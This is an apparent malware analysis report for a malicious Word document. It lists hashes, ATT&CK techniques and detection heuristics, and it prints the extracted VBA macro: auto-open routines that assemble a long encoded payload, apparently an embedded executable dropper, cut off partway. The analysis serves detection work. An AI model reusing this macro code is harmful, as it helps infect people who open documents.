Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81fc50ba1af9a244…

MALICIOUS

Office (OLE)

52.0 KB Created: 2006-06-27 07:57:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: a6069169d719cfbf8c0d873c527ba382 SHA-1: 904c283007b5b6b310494630328ee2be2cf96b2f SHA-256: 81fc50ba1af9a24440b824c2a137e4cfefd14b158d18610c22f25eb1fbc3404a
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with AutoOpen and Document_Open functions, which are commonly used to automatically execute malicious code upon opening. The critical heuristic firing for a Shell() call indicates that the macro attempts to execute an external command or program. The ClamAV detection as Win.Trojan.MSWord-3 further supports its malicious nature, likely acting as a downloader or dropper for other malware.

Heuristics 7

  • ClamAV: Win.Trojan.MSWord-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.MSWord-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10876 bytes
SHA-256: 23b65e547604a46e7fb407ecae11c27f90b294a1e13b91d8ce098ea99e1adda5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Call AutoPriceChecker
End Sub

Sub AutoExec()
Call AutoPriceChecker
End Sub

Private Sub Document_Open()
Call AutoPriceChecker
End Sub
           

Attribute VB_Name = "Module1"
Sub AutoPriceChecker()
On Error Resume Next
qGqR = "ENFKJAAAADAAAAAAAEAAAAAAPPPPAAAALIAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMIAAAAAAAOBPLKAOAALEAJMNCBLIABEMMNCBFEGI"
qGqR = qGqR + "GJHDCAHAHCGPGHHCGBGNCAGDGBGOGOGPHECAGCGFCAHCHFGOCAGJGOCAEEEPFDCAGNGPGEGFCOANANAK"
qGqR = qGqR + "CEAAAAAAAAAAAAAAHBJDONMBDFPCIDJCDFPCIDJCDFPCIDJCGMNBJAJCDHPCIDJCDFPCICJCCBPCIDJC"
qGqR = qGqR + "FHONJAJCDCPCIDJCNNONJFJCDHPCIDJCFCGJGDGIDFPCIDJCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "FAEFAAAAEMABACAADFCDKCEEAAAAAAAAAAAAAAAAOAAAAPABALABAGAAAAAKAAAAAAAEAAAAAAAAAAAA"
qGqR = qGqR + "AMBGAAAAAABAAAAAAACAAAAAAAAAEAAAAABAAAAAAAACAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAA"
qGqR = qGqR + "AADAAAAAAAAEAAAAAAAAAAAAACAAAAAAAAAABAAAAABAAAAAAAAABAAAAABAAAAAAAAAAAAABAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAFABGAAAAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAACOHEGFHIHEAAAAAAICAIAAAAAABAAAAAAAAKAAAAAAAEAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAACAAAAEOACOGEGBHEGBAAAAAALAACAAAAAACAAAAAAAACAAAAAAAOAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAEAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
qGqR = qGqR + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANMBHAAAAPKBHAAAAAMBIAAAAOMBHAAAA"
qGqR = qGqR + "AAAAAAAAFIBHAAAAGKBHAAAAHIBHAAAAEIBHAAAAJCBHAAAAKIBHAAAADMBHAAAADABHAAAACEBHAAAA"
qGqR = qGqR + "IEBHAAAABEBHAAAAAAAAAAAAMEBHAAAAAAAAAAAADOBIAAAAFCBIAAAAGGBIAAAACIBIAAAAAAAAAAAA"
qGqR = qGqR + "FFILOMPPBFDMBAEAAAKDKMCCEAAAFNMDFFILOMKBKMCCEAAAGJMADFEOFKABIDMAABKDKMCCEAAAKBKM"
qGqR = qGqR + "CCEAAAMBOIBACFPPPPAAAACFPPPPAAAAFNMDFFILOMIDOMCAOILLPPPPPPOIMGPPPPPPCFPPPPAAAAJJ"
qGqR = qGqR + "LJADAAAAAAPHPJIDMCAEIJFFOEMHEFOAAAAAAAAAOLAJILFFOAIDMCABIJFFOAILEFOADLEFOEHDBOOI"
qGqR = qGqR + "JEPPPPPPCFPPPPAAAAJJLJBJAAAAAAPHPJIDMCGBILEFOAIIFEAFOIOLNBILENOAMGEEANOIAAINFFOI"
qGqR = qGqR + "FCILEFAIFAPPBFDEBAEAAAILEFAIILOFFNMDFFILOMIBOMAEABAAAAILEFAIFAGIIAAAAAAAPPBFCABA"
qGqR = qGqR + "EAAAILENAIFBPPBFCMBAEAAAILFFAIAPLOEEACPPIDPIFMHEAPGIAACAEAAAILENAIFBPPBFDABAEAAA"
qGqR = qGqR + "INJFPMPOPPPPFCOIDOPPPPPPIDMEAEFAINIFPMPOPPPPFAPPBFDEBAEAAAININPMPOPPPPFBGIAECAEA"
qGqR = qGqR + "AAILFFAIFCPPBFCMBAEAAAILENAIADMIFBPPBFEEBAEAAAIDMEAMILOFFNMDFFILOMFBMHEFPMAAAAAA"
qGqR = qGqR + "AAILEFAIADEFPMAPLOAIIDP
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.